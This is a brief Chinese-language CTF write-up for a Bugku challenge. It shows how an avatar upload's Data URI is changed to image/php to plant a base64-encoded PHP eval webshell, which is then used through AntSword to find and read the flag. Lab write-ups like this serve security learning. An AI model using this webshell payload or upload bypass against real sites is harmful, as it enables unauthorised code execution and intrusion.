关于bugku题目：xxx二手交易市场，打开题目，先注册一个账号。
随后登录账号
看了一下感觉有头像上传的漏洞点，打开bp，抓取上传头像的那个包
头像上传漏洞点，rce + webshell：
抓包后发现"image=data:image/jpeg;base64,<data>（跟着一大堆乱七八糟编码）"
识别Data URI格式，这就是标准的Data URI 格式：data:[<mediatype>][;base64],<data>
原image/jpeg被替换成image/php，方便植入并执行webshell
payload采用"image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="（URL参数形式），解码后"image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="
在bp的repeater模块中替换并发送了包之后，查看response（响应），可以从data中看到一个路径，使用它返回的路径，在蚁剑中进行连接。
成功进入蚁剑之后，打开虚拟终端，输入"find / -name flag 2>/dev/null"即可找到flag的路径（/var/www/html/flag ）
那么此时先将路径回到根目录，"cd /"
再执行"cd /var/www/html"
最后"cat flag"即可得到flag
